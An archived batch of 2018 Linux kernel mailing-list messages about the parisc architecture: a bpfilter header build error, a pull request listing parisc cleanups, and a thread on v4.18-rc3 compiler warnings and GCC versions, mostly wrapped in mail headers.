Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:539960 gmane.linux.ports.parisc:28704
Archived-At: <http://permalink.gmane.org/gmane.linux.network/539960>

On 2018-06-19 1:38 PM, Meelis Roos wrote:
> Tried enabling bpfilter on parisc, got this:
>
>    HOSTCC  net/bpfilter/main.o
> net/bpfilter/main.c:3:21: fatal error: sys/uio.h: No such file or directory
>   #include <sys/uio.h>
Probably has something to do with the include directories searched by 
HOSTCC.  The location of
the file is "/usr/include/hppa-linux-gnu/sys/uio.h".

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture code cleanups and fixes
Date: Sat, 30 Jun 2018 22:23:35 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20180630202335.GA7097@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1530390112 5116 195.159.176.226 (30 Jun 2018 20:21:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Jun 2018 20:21:52 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jun 30 22:21:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fZMNO-0001G2-Nf
	for glk-linux-kernel-4@m.gmane.org; Sat, 30 Jun 2018 22:21:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751712AbeF3UXy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 30 Jun 2018 16:23:54 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49175 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751466AbeF3UXu (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 30 Jun 2018 16:23:50 -0400
Original-Received: from ls3530.fritz.box ([92.116.139.101]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LpwZn-1g26ii2or9-00fg7p; Sat, 30
 Jun 2018 22:23:39 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:PhduCnCFN5RaSQPnwZekGyEcnqVy9Qd86/tZG+PfvjnS7adu5ZI
 WbMFBOMYy+ilgoOos9suOYEhnwh+dB4oZoZNghno7pfpSyToXzUNn72lVIwxyraRBvgzw6r
 +/509wqWvLEtckoFmTIoz/3wxquicvuj/ugworWjeDrI55tAI1ZcTSSkEU1C3dJ5SrCI2xx
 n5vchp11nUrEUQPIsFQAg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NiYo5hkWnsA=:9+LEtITwVEWg53I/CS/Imn
 OCjvPaL+6oW9pA4iQXzd9Si17WjrBK20FYRMK/RMJK8nXvKMm+qACRn+ffrSjUAj9JJ6EYsJd
 LaFQLWPAWSJk1R9XlZG/Dh9v7QC6ub1VJf9RbHCwmfnxeQrxYshhulywLwAtyPNxxcSwEl8sG
 U1TAkFyfhlU1ttdN7C2n4FFaF937+5Ds4nK8c0e6pzwh7sTIpVXegGJG5GtzLC6JwF10T0d+b
 eo+1iVvzbW2Ocmr/P3snMCF/+whplvZQk9VHa0o7XlVAbMIIulKbYFK0yv9LAWUW85oPgNw5a
 eR6eCHP+kaWXA/K4VMRFlbvOM1xlLJufPv1MQS94Ukm/uAHUMYje+p+4MJiFCjaPZTJGaFfdE
 Tj70iZtCSgFl9fZaBLmkDkXqcAGYFymaSizwtgQ47dWlYLEl/4oo03u2zjdBDzimWV8Gas27s
 YHSJbpWT5FgvqAYadrZSQDASTyrO9fkyArju84D9Kq2mM8C/rCsdm98Lb3jdKThFztaqrO6XI
 tmgzHofifceJ/1N+WwAiedwm8hS+vo+qUiHFXtMiKmWqSVlJuZnwJyTAKe/royqSVZIV9tOjW
 KRvMRpYOM9EU0pxSiycbErs/X+0KRdXH1OsnynYCL+WoLgKthPwZKIsy9eUDeJYLsLwSp27GW
 dDxfjM0C3yJ0xaoeP0/Nkyoha3qUEF/5MnOHRA60Rqas3xVa5iGt7jrQJygi37PKM+PVRVTyP
 IgHz4g+ar2VSaNbOKWXd2JQALfgIdkv+TSnsp6RUPEH47cgAz+prQvhv+2o=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2807584 gmane.linux.ports.parisc:28705
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2807584>

Hi Linus,

please pull some patches for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.18-1

Nothing exiting in this patchset, just small cleanups of header files, kernel
now defaults to 4 CPUs when building a SMP kernel, mark 16- and 64-kB page
sizes broken and addition of the new io_pgetevents syscall.  

Thanks,
Helge

----------------------------------------------------------------
Andy Shevchenko (1):
      parisc: Convert printk(KERN_LEVEL) to pr_lvl()

Helge Deller (6):
      parisc: Drop struct sigaction from not exported header file
      parisc: Mark 16kB and 64kB page sizes BROKEN
      parisc: Default to 4 SMP CPUs
      parisc: Wire up io_pgetevents syscall
      parisc: Reduce debug output in unwind code
      parisc: Build kernel without -ffunction-sections

 arch/parisc/Kconfig                   |  6 +++---
 arch/parisc/Makefile                  |  4 ----
 arch/parisc/include/asm/signal.h      |  8 --------
 arch/parisc/include/uapi/asm/unistd.h |  3 ++-
 arch/parisc/kernel/drivers.c          | 25 +++++++++----------------
 arch/parisc/kernel/syscall_table.S    |  1 +
 arch/parisc/kernel/unwind.c           |  4 ++--
 7 files changed, 17 insertions(+), 34 deletions(-)


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.18-rc3
Date: Mon, 2 Jul 2018 16:09:40 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com>
References: <20180702140050.1660-1-geert@linux-m68k.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1530540472 32349 195.159.176.226 (2 Jul 2018 14:07:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Jul 2018 14:07:52 +0000 (UTC)
Cc: sparclinux <sparclinux@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>
To: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 02 16:07:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fZzUY-0008Hj-K2
	for glk-linux-kernel-4@m.gmane.org; Mon, 02 Jul 2018 16:07:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752183AbeGBOJy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 2 Jul 2018 10:09:54 -0400
Original-Received: from mail-ua0-f196.google.com ([209.85.217.196]:33080 "EHLO
        mail-ua0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751922AbeGBOJw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 2 Jul 2018 10:09:52 -0400
Original-Received: by mail-ua0-f196.google.com with SMTP id g18-v6so7412505uak.0;
        Mon, 02 Jul 2018 07:09:52 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=PFsFiUfEbRC88ucyi2zmEWvPPJY8J+COWuxLhXuD/V4=;
        b=ZVRt2BaviK72kwC/NLakDKe4dVK9HTsMByqch2zUPFPKrfjk9RsjiY2r3b3CC1ssYY
         iDJUMmuBEJa1ts8KIhGEx2tXpCRRM2OiFpU1wfiRgOzvs4HHqET0//I7azbEf69YOFWP
         6L9nLkO8Jjtu0PMF2o7LfW/9yFJiDAznJ001RUIh7FDnUxbiq8k2LYj2zSE58zmDZgLJ
         EMoDLsJpdCqKeWXZGiWJTMsyaHkA+b0i49YfGRa9HiM5M+bfVaBlHM4pL+gjvxMDSKTg
         0lfzUHeC7wJIJKwDhb8O8mCj480LDxJZgOFz0AF3C9gHsJuD0Tw7pn6Ca7MjfetNQhwS
         z9oQ==
X-Gm-Message-State: APt69E08V5AparmqOPxLBikALy/WA/6JcxooUlw3PuMqhcv4/g4QSA/C
        3fvLf6zPpYaij883iJYNBCp1B+3jLcp4JgY0ZZBteQ==
X-Google-Smtp-Source: AAOMgpdDPpPWW0ijziLIA/0q2IsoPoiJSMSKrpzy2Ys3DPROYV3Tz6FPUNzk90RoOzAzalXHt9QvvSgawi3AEArCxsQ=
X-Received: by 2002:ab0:25d6:: with SMTP id y22-v6mr17001942uan.33.1530540591462;
 Mon, 02 Jul 2018 07:09:51 -0700 (PDT)
In-Reply-To: <20180702140050.1660-1-geert@linux-m68k.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2809106 gmane.linux.ports.sparc:28047 gmane.linux.ports.parisc:28706
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2809106>

On Mon, Jul 2, 2018 at 4:01 PM Geert Uytterhoeven <geert@linux-m68k.org> wrote:
> JFYI, when comparing v4.18-rc3[1] to v4.18-rc2[3], the summaries are:
>   - build errors: +1/-7

  + /kisskb/src/include/linux/highmem.h: error: passing argument 1 of
'sparc_flush_page_to_ram' from incompatible pointer type
[-Werror=incompatible-pointer-types]:  => 209:20, 233:36, 137:31

sparc64/sparc-allmodconfig (patch available)

> [1] http://kisskb.ellerman.id.au/kisskb/head/021c91791a5e7e85c567452f1be3e4c2c6cb6063/ (231 out of 244 configs)
> [3] http://kisskb.ellerman.id.au/kisskb/head/7daf201d7fe8334e2d2364d4e8ed3394ec9af819/ (231 out of 244 configs)

> *** WARNINGS ***
>
> [Deleted 26903 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]
> [Deleted 19308 lines about "warning: -ffunction-sections disabled; it makes profiling impossible [enabled by default]" on parisc-allmodconfig]

Seems they're gone. Hopefully for good ;-)

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.18-rc3
Date: Mon, 2 Jul 2018 17:13:33 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <1fa6b973-33e7-53f8-75bb-92d1e8932813@gmx.de>
References: <20180702140050.1660-1-geert@linux-m68k.org>
 <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530544300 6465 195.159.176.226 (2 Jul 2018 15:11:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Jul 2018 15:11:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 02 17:11:35 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fa0UI-0001Zj-Vc
	for glk-linux-kernel-4@m.gmane.org; Mon, 02 Jul 2018 17:11:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752682AbeGBPNm (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 2 Jul 2018 11:13:42 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:54701 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752288AbeGBPNk (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 2 Jul 2018 11:13:40 -0400
Original-Received: from [192.168.20.60] ([92.116.191.110]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MLfH9-1fZjXK32Kx-000rRq; Mon, 02
 Jul 2018 17:13:33 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:uzF3w9gWqcxQfp+zlSYXkUChTx6e98+07sCr2ydTAg2JyW9vxr5
 YVQSBnz2nu6Jwmo2jJfL8dph9xGLa8oT821I2+UGN2PUexkMx/Bov/TfKCbnMMQAsl7A+pv
 CLfFghbLijQEBBLTT0iy48mS1iATu8uCq8VAJRtVQagrICX9YAQOdt4qF1bXJ3NQHRj+aGc
 +IMw1YUnRFeqSG71aLLLg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0qlGV5qn5so=:n7/Ex/DFgafeCksV8ZSG6a
 UTqcrferSSXP05J5q5pj9gXaxw61qFIgyKJf5ADS0cM8LcA+1kEiHLC5073haLVl2dAbJqbha
 ylSGXCKRUXzFOEYn6yuJVgGZ7vSSKc0k0T7onY2pcnCXSvFAjDMWpFo/W5TTHdTJix2uQNtNE
 taCb0LXRO3E8OmICb1ggkaEpujSspM1htH/qAhuK2jEO5VFF5buP0pI6hAhXk7ppKow84EPkL
 3tk6I4PKpVa7yktOwVDUmAYSMHb/PQWzMsv55LSe5CxNAODllREFjKkp5qwR40ZeOmVEBseaP
 OSizq12O2KKh78a5yeJhKjnuKeSOaDHwKt0lXCOHYNN5uO4iw65XiSeLn2ulBvuapbz5Q5liS
 1pUaRaCt+mAYerE0W9AjVF6q3yU9INMgV63054pZ/FFalnzr11qJNyuzvqaOwldelaGiT91qf
 9bL1mPaTViduOPsZqZkNmHqqi3givqW2/QDj2Jjz/mx0ugZcA+rnr0xYKxTVutvHuh8saLMHb
 7fFOidPnNWdROcWeWoZh6UZtkGxWlG+Y0GoSc7zIcmgbiS1KRQJoYUcaOtk+k2ztphMfUpWMR
 fPJkfSw1aRvZo6c5UYRlvOHFMc2ksc0WKjPy7nsY6GLg6BNq6YB1AfFAMNHR12oZso0zR1Kg3
 cQPotmCcdWCHWrkDjn1MfGWZxDVJ3PoYtHkDi/LEhywD2eHdX5UaIRHLTaiDkMlMTp3b/bkxt
 d+ovC3o5Hu0CTBPzrRPmUF4o/fjUG+srSFkQrFzqEh593FzAod7FkqQUUkEEwVBh22LDCZ/g 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2809183 gmane.linux.ports.parisc:28707
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2809183>

On 02.07.2018 16:09, Geert Uytterhoeven wrote:
> On Mon, Jul 2, 2018 at 4:01 PM Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>> JFYI, when comparing v4.18-rc3[1] to v4.18-rc2[3], the summaries are:
> ...

Both of the following are simply happening because of old compiler which is being used:

>> [Deleted 26903 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]

?

>> [Deleted 19308 lines about "warning: -ffunction-sections disabled; it makes profiling impossible [enabled by default]" on parisc-allmodconfig]

I dropped function-sections:
http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24b6c22504a27210a8377e54d24d425ae414f2c1
Still need to see if this gives problems (haven't seen any yet).

Helge


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.18-rc3
Date: Tue, 03 Jul 2018 11:09:17 +1000
Lines: 17
Approved: news@gmane.org
Message-ID: <87601xgm6a.fsf@concordia.ellerman.id.au>
References: <20180702140050.1660-1-geert@linux-m68k.org> <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com> <1fa6b973-33e7-53f8-75bb-92d1e8932813@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1530580042 26788 195.159.176.226 (3 Jul 2018 01:07:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jul 2018 01:07:22 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 03 03:07:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fa9mn-0006sY-Tf
	for glk-linux-kernel-4@m.gmane.org; Tue, 03 Jul 2018 03:07:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753495AbeGCBJZ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 2 Jul 2018 21:09:25 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:56681 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752636AbeGCBJX (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 2 Jul 2018 21:09:23 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 41KQxs5qllz9s3R;
        Tue,  3 Jul 2018 11:09:20 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=ellerman.id.au
In-Reply-To: <1fa6b973-33e7-53f8-75bb-92d1e8932813@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2809634 gmane.linux.ports.parisc:28708
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2809634>

Helge Deller <deller@gmx.de> writes:

> On 02.07.2018 16:09, Geert Uytterhoeven wrote:
>> On Mon, Jul 2, 2018 at 4:01 PM Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>>> JFYI, when comparing v4.18-rc3[1] to v4.18-rc2[3], the summaries are:
>> ...
>
> Both of the following are simply happening because of old compiler which is being used:
>
>>> [Deleted 26903 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]

It's GCC 4.6.3. Are you saying that's not supported anymore?

I can update to 8.1.0 if that's more useful.

cheers


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.18-rc3
Date: Tue, 3 Jul 2018 08:18:13 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <b7c41645-f694-4763-4cc3-f7abb0c2432b@gmx.de>
References: <20180702140050.1660-1-geert@linux-m68k.org>
 <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com>
 <1fa6b973-33e7-53f8-75bb-92d1e8932813@gmx.de>
 <87601xgm6a.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530598645 30699 195.159.176.226 (3 Jul 2018 06:17:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jul 2018 06:17:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Michael Ellerman <mpe@ellerman.id.au>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 03 08:17:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faEco-0007BT-MW
	for glk-linux-kernel-4@m.gmane.org; Tue, 03 Jul 2018 08:17:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933003AbeGCGT2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 3 Jul 2018 02:19:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:59689 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932613AbeGCGT0 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 3 Jul 2018 02:19:26 -0400
Original-Received: from [192.168.20.60] ([92.116.180.62]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MWk7n-1fbhpF1Fsp-00Xp85; Tue, 03
 Jul 2018 08:18:14 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <87601xgm6a.fsf@concordia.ellerman.id.au>
Content-Language: en-US
X-Provags-ID: V03:K1:j4YyVoSPh+McraZY6HVoaBSsKUa5i/srDSaort1aR1N7kldaZ9F
 /48jCHXmB+3Iuu5IAmcEVyGOoBf+tUGSllSzAPTwA2a+p95rosnjzxPlDGE/wvQFa9n7eIv
 rlw9rWXjcOVsXrtlSZ/op+IJV+lO1bPydZaCnU5rt3rJSW9fskWB1bGrUaZAGoJaMDTIBsO
 67ML93RUcAOCmmpKTRLTA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:uUx6lkWcamg=:EZfgSil0eC5JGP/uqwZNcW
 pncoqOdwGggWo9tHUw32XllP3DFitbHVrR9Rp+cYcXfILBrgEygFJBqrU0bq0bbXFmvXeJSzH
 jaVCueb1UOReV3syz4fRrGRohcfjIT6G5A0C6lwF+cXYCW1Eivy6DTkyioI+Acpx/eOJo/EPq
 3KKL3zaJmS52lW1SE1xAGCiv+8CnKtj4raJdn0kBysBKysnbuMiLb3fB/YqXcEWjRri3u0nbs
 iYdapZS4EC36moSQzI76Br949bBJ+x++9fKvnpPig8yXQijyQLjme/DAVFyCXR9RsBtl1xiSQ
 ohwQs86jscTGADGsMoVS/bNW3cG8Td4AMLtamUGivv7bm71fMf+vsif7cxWDsGNqoJbhBoHK9
 OqIM+b+js9QIOPkrWsG/WYXG0HngHP3njpajVv8n0hAqjS+XHfB1Ww3o9hOnDVKYheR2/z1Q1
 wzNsvTtVfbmPe0O3hCbA/JEsrvPicH/QS1eJX6bNMghiU7MrxpKUpU1uLLzfSz2lX6vyXp46B
 0DPxD0BE+t7SR9vDoCEgVrJHDAdqp8ijK7GW4o6rPbJkbl1EvJQD4/WFHaSwqqxec1q+1Bm2N
 xbCksRaJRFyBz5BpcK8Txk4h5BT1PAUNeGrK37Q28HVhhVhFzFkU9H2YTaRVhiX8EN/dsGU/x
